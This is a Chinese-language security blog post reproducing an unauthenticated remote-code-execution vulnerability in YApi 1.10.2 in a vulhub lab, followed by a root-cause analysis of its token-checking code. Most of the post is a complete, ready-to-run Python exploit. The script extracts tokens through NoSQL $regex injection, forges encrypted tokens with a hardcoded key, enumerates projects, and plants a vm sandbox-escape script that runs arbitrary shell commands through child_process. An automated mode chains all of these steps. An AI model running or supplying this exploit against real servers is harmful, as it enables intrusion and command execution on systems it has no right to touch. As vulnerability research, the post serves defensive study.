March 10, 2024

YApi 1.10.2 Unauthenticed RCE Via NoSQL Injection

影响版本

Yapi <=1.10.2

漏洞复现

使用vulhub搭建环境复现,exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
import requests
import json
import click
import re
import sys
import logging
import hashlib
import binascii
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import padding
from urllib.parse import urljoin

logger = logging.getLogger('attacker')
logger.setLevel('WARNING')
ch = logging.StreamHandler(sys.stdout)
ch.setFormatter(logging.Formatter('%(asctime)s - %(message)s'))
logger.addHandler(ch)
choices = 'abcedf0123456789'
script_template = r'''const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
const Buffer = FunctionConstructor('return Buffer')()
const output = process.mainModule.require("child_process").execSync(Buffer.from('%s', 'hex').toString()).toString()
context.responseData = 'testtest' + output + 'testtest'
'''


def compute(passphase: str):
nkey = 24
niv = 16
key = ''
iv = ''
p = ''

while True:
h = hashlib.md5()
h.update(binascii.unhexlify(p))
h.update(passphase.encode())
p = h.hexdigest()

i = 0
n = min(len(p) - i, 2 * nkey)
nkey -= n // 2
key += p[i:i + n]
i += n
n = min(len(p) - i, 2 * niv)
niv -= n // 2
iv += p[i:i + n]
i += n

if nkey + niv == 0:
return binascii.unhexlify(key), binascii.unhexlify(iv)


def aes_encode(data):
key, iv = compute('abcde')
padder = padding.PKCS7(128).padder()
cipher = Cipher(algorithms.AES(key), modes.CBC(iv))
encryptor = cipher.encryptor()
ct = encryptor.update(padder.update(data.encode()) + padder.finalize()) + encryptor.finalize()
return binascii.hexlify(ct).decode()


def aes_decode(data):
key, iv = compute('abcde')
unpadder = padding.PKCS7(128).unpadder()
cipher = Cipher(algorithms.AES(key), modes.CBC(iv))
decryptor = cipher.decryptor()
ct = decryptor.update(binascii.unhexlify(data)) + decryptor.finalize()
ct = unpadder.update(ct) + unpadder.finalize()
return ct.decode().strip()


def brute_token(target, already):
url = urljoin(target, '/api/interface/up')
current = '^'
for i in range(20):
for ch in choices:
guess = current + ch
data = {
'id': -1,
'token': {
'$regex': guess,
'$nin': already
}
}
headers = {
'Content-Type': 'application/json'
}
response = requests.post(url,
data=json.dumps(data),
headers=headers,
# proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
# verify=False,
)
res = response.json()

if res['errcode'] == 400:
current = guess
break

logger.debug(f'current cuess: {current}')

return current[1:]


def find_owner_uid(target, token):
url = urljoin(target, '/api/project/get')
for i in range(1, 200):
params = {'token': aes_encode(f'{i}|{token}')}
response = requests.get(url, params=params,
# proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
# verify=False,
)
data = response.json()
if data['errcode'] == 0:
return i

return None


def find_project(target, token, pid=None):
url = urljoin(target, '/api/project/get')
params = {'token': token}
if pid:
params['id'] = pid

response = requests.get(url,
params=params,
#proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
#verify=False,
)
data = response.json()

if data['errcode'] == 0:
return data['data']


def find_col(target, token, brute_from, brute_to):
url = urljoin(target, '/api/open/run_auto_test')

for i in range(brute_from, brute_to):
try:
params = {'token': token, 'id': i, "mode": "json"}
response = requests.get(url,
params=params,
timeout=5,
#proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
#verify=False,
)

data = response.json()
if 'message' not in data:
continue

if data['message']['len'] > 0:
logger.debug('Test Result Found: %r', response.url)
yield i
except requests.exceptions.Timeout:
logger.debug('id=%d timeout', i)
pass


def update_project(target, token, project_id, command):
url = urljoin(target, '/api/project/up')

command_hex = command.encode().hex()
script = script_template % command_hex
response = requests.post(url,
params={'token': token},
json={'id': project_id, 'after_script': script},
# proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
# verify=False,
)
data = response.json()
return data['errcode'] == 0


def run_auto_test(target, token, col_id):
url = urljoin(target, '/api/open/run_auto_test')

response = requests.get(url,
params={'token': token, 'id': col_id, 'mode': 'json'},
# proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
# verify=False,
)

try:
data = response.json()
return data['list'][0]['res_body'][8:-8]
except (requests.exceptions.JSONDecodeError, KeyError, IndexError, TypeError) as e:
g = re.search(br'testtest(.*?)testtest', response.content, re.I | re.S)
if g:
return g.group(1).decode()
else:
return None


def clear_project(target, token, project_id, old_after_script):
url = urljoin(target, '/api/project/up')
response = requests.post(url, params={'token': token}, json={'id': project_id, 'after_script': old_after_script})
data = response.json()
return data['errcode'] == 0


@click.group()
@click.option('--debug', 'debug', is_flag=True, type=bool, required=False, default=False)
def cli(debug):
if debug:
logger.setLevel('DEBUG')


@cli.command('enc')
@click.argument('data', type=str, required=True)
def cmd_enc(data: str):
click.echo(aes_encode(data))


@cli.command('dec')
@click.argument('data', type=str, required=True)
def cmd_dec(data: str):
click.echo(aes_decode(data))


@cli.command('token')
@click.option('-u', '--url', type=str, required=True)
@click.option('-c', '--count', type=int, default=5)
def cmd_token(url, count):
already = []
for i in range(count):
token = brute_token(url, already)
if not token:
break

click.echo(f'find a valid token: {token}')
already.append(token)


@cli.command('owner')
@click.option('-u', '--url', type=str, required=True)
@click.option('-t', '--token', 'token', type=str, required=True, help='Token that get from first step')
def cmd_owner(url, token):
aid = find_owner_uid(url, token)
e = aes_encode(f'{aid}|{token}')
click.echo(f'your owner id is: {aid}, encrypted token is {e}')


@cli.command('project')
@click.option('-u', '--url', type=str, required=True)
@click.option('-o', '--owner-id', 'owner', type=str, required=True)
@click.option('-t', '--token', 'token', type=str, required=True, help='Token that get from first step')
def cmd_project(url, owner, token):
token = aes_encode(f'{owner}|{token}')
project = find_project(url, token)
if project:
logger.info('[+] project by this token: %r', project)
click.echo(f'your project id is: {project["_id"]}')


@cli.command('col')
@click.option('-u', '--url', type=str, required=True)
@click.option('-o', '--owner-id', 'owner', type=str, required=True)
@click.option('-t', '--token', 'token', type=str, required=True, help='Token that get from first step')
@click.option('--from', 'brute_from', type=int, required=False, default=1, help='Brute Col id from this number')
@click.option('--to', 'brute_to', type=int, required=False, default=200, help='Brute Col id to this number')
def cmd_col(url, owner, token, brute_from, brute_to):
token = aes_encode(f'{owner}|{token}')
for i in find_col(url, token, brute_from, brute_to):
click.echo(f'found a valid col id: {i}')


@cli.command('rce')
@click.option('-u', '--url', type=str, required=True)
@click.option('-o', '--owner-id', 'owner', type=str, required=True)
@click.option('-t', '--token', 'token', type=str, required=True, help='Token that get from first step')
@click.option('--pid', 'project_id', type=int, required=True)
@click.option('--cid', 'col_id', type=int, required=True)
@click.option('-c', '--command', 'command', type=str, required=True, help='Command that you want to execute')
def cmd_rce(url, owner, token, project_id, col_id, command):
token = aes_encode(f'{owner}|{token}')
project = find_project(url, token, project_id)
if not project:
click.echo('[-] failed to get project')
return False

old_after_script = project.get('after_script', '')
if not update_project(url, token, project_id, command):
click.echo('[-] failed to update project')
return False

output = run_auto_test(url, token, col_id)
if output:
click.echo(output)
clear_project(url, token, project_id, old_after_script)
return True

clear_project(url, token, project_id, old_after_script)
return False


@cli.command('one4all')
@click.option('-u', '--url', type=str, required=True)
@click.option('--count', type=int, default=5)
@click.option('-c', '--command', type=str, default='id')
def cmd_one4all(url, count, command):
already = []
for i in range(count):
token = brute_token(url, already)
if not token:
logger.info('[-] no new token found, exit...')
break

already.append(token)
logger.info('[+] find a new token: %s', token)
owner_id = find_owner_uid(url, token)
if not owner_id:
logger.info('[-] failed to find the owner id using token %s', token)
continue

etoken = aes_encode(f'{owner_id}|{token}')
logger.info('[+] find a new owner id: %r, encrypted token: %s', owner_id, etoken)
project = find_project(url, etoken)
if not project:
logger.info('[-] failed to find project using token %s', token)
continue

project_id = project['_id']
logger.info('[+] project_id = %s, project = %r', project_id, project)
col_ids = find_col(url, etoken, 1, 200)
if not col_ids:
logger.info('[+] failed to find cols in project %s, try next project...', project_id)

for col_id in col_ids:
logger.info('[+] col_id = %s', col_id)
click.echo(f'hit: project_id: {project_id} | owner_id: {owner_id} | col_id: {col_id} | token: {token}')
click.echo(f'suggestion: python {sys.argv[0]} rce -u {url} -t {token} -o {owner_id} --pid {project_id} --cid {col_id} --command="{command}"')

if cmd_rce.callback(url, owner_id, token, project_id, col_id, command):
return


if __name__ == '__main__':
cli()

这个脚本写的比较详细和实用。内置几个板块
image.png
dec和enc是用来加解密token的,我们先利用nosql注入可以注出token
python poc.py --debug one4all -u [http://127.0.0.1:3000/](http://127.0.0.1:3000/)
image.png
获取到token后利用vm沙盒逃逸去rce。

1
2
3
4
5
6
7
8
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
const Buffer = FunctionConstructor('return Buffer')()
const output = process.mainModule.require("child_process").execSync(Buffer.from('%s', 'hex').toString()).toString()
context.responseData = 'testtest' + output + 'testtest'

image.png
复现起来比较简单,分析一下原因。

漏洞成因

在代码的base.js有一段逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
if (token && (openApiRouter.indexOf(ctx.path) > -1 || ctx.path.indexOf('/api/open/') === 0 )) {

let tokens = parseToken(token)

const oldTokenUid = '999999'

let tokenUid = oldTokenUid;

if(!tokens){
let checkId = await this.getProjectIdByToken(token);
if(!checkId)return;
}else{
token = tokens.projectToken;
tokenUid = tokens.uid;
}

// if (this.$auth) {
// ctx.params.project_id = await this.getProjectIdByToken(token);

// if (!ctx.params.project_id) {
// return (this.$tokenAuth = false);
// }
// return (this.$tokenAuth = true);
// }

let checkId = await this.getProjectIdByToken(token);
if(!checkId){
ctx.body = yapi.commons.resReturn(null, 42014, 'token 无效');
}
let projectData = await this.projectModel.get(checkId);
if (projectData) {
ctx.query.pid = checkId; // 兼容:/api/plugin/export
ctx.params.project_id = checkId;
this.$tokenAuth = true;
this.$uid = tokenUid;
let result;
if(tokenUid === oldTokenUid){
result = {
_id: tokenUid,
role: 'member',
username: 'system'
}
}else{
let userInst = yapi.getInst(userModel); //创建user实体
result = await userInst.findById(tokenUid);
}

this.$user = result;
this.$auth = true;
}
}
}

可以看到假如不为open接口,那就需要通过token的鉴权getProjectIdByToken

1
2
3
4
5
6
async getProjectIdByToken(token) {
let projectId = await this.tokenModel.findId(token);
if (projectId) {
return projectId.toObject().project_id;
}
}

调用了findId去查找project,问题也就出在这里了。token的类型没有做限制

1
2
3
4
5
6
7
8
findId(token) {
return this.model
.findOne({
token: token
})
.select('project_id')
.exec();
}

假如token为{"$ne":"xxx"}那么就可以进行nosql注入了。我们获取了token后就可以访问一些授权接口了。
image.png
runautotest是一个需要授权的接口

1
2
3
if (!this.$tokenAuth) {
return (ctx.body = yapi.commons.resReturn(null, 40022, 'token 验证失败'));
}

首先鉴定token是否正确。上一步我们是可以伪造token的,因此可以访问该接口
image.png
在这段代码中我们可以传入pre_script去handleTest方法内。
image.png
会进入crossRequest内。
image.png
进入sandbox函数进行沙盒执行
image.png
用的是vm模块,因此存在逃逸命令执行。
image.png
对应project的settings板块,可以看到有pre和after 2个script。

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#CVE